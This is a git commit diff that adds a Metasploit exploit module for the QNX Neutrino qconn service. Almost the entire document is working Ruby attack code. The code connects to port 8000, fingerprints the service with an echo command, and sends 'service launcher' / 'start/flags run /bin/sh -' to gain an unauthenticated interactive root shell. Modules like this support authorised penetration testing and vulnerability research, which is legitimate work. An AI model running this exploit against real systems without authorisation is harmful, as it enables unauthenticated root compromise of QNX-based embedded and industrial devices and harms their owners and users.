Add QNX QCOMM command execution module
parent
c5f863b0b9
commit
e2276bfedb
|
@ -0,0 +1,115 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "QNX QCONN Remote Command Execution Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the qconn component of
|
||||
QNX Neutrino which can be abused to allow unauthenticated users to
|
||||
execute arbitrary commands under the context of the 'root' user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'David Odell', # Discovery
|
||||
'Mor!p3r <moriper[at]gmail.com>', # PoC
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '21520'],
|
||||
['URL', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
|
||||
['URL', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'none',
|
||||
'PAYLOAD' => 'cmd/unix/interact',
|
||||
},
|
||||
'Platform' => 'unix', # QNX Neutrino
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested on QNX Neutrino 6.5 SP1
|
||||
['Automatic Targeting', { 'auto' => true }]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Sep 4 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
# send check
|
||||
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
|
||||
print_status("#{@peer} - Sending check")
|
||||
connect
|
||||
req = "service launcher\n"
|
||||
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
|
||||
sock.put(req)
|
||||
res = sock.get
|
||||
disconnect
|
||||
|
||||
# check response
|
||||
if res and res =~ /#{fingerprint}/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res and res =~ /QCONN/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
# send payload
|
||||
req = "service launcher\n"
|
||||
req << "start/flags run /bin/sh -\n"
|
||||
print_status("#{@peer} - Sending payload (#{req.length} bytes)")
|
||||
connect
|
||||
sock.put(req)
|
||||
res = sock.get
|
||||
|
||||
# check response
|
||||
if res and res =~ /No controlling tty/
|
||||
print_good("#{@peer} - Payload sent successfully")
|
||||
else
|
||||
print_error("#{@peer} - Sending payload failed")
|
||||
end
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue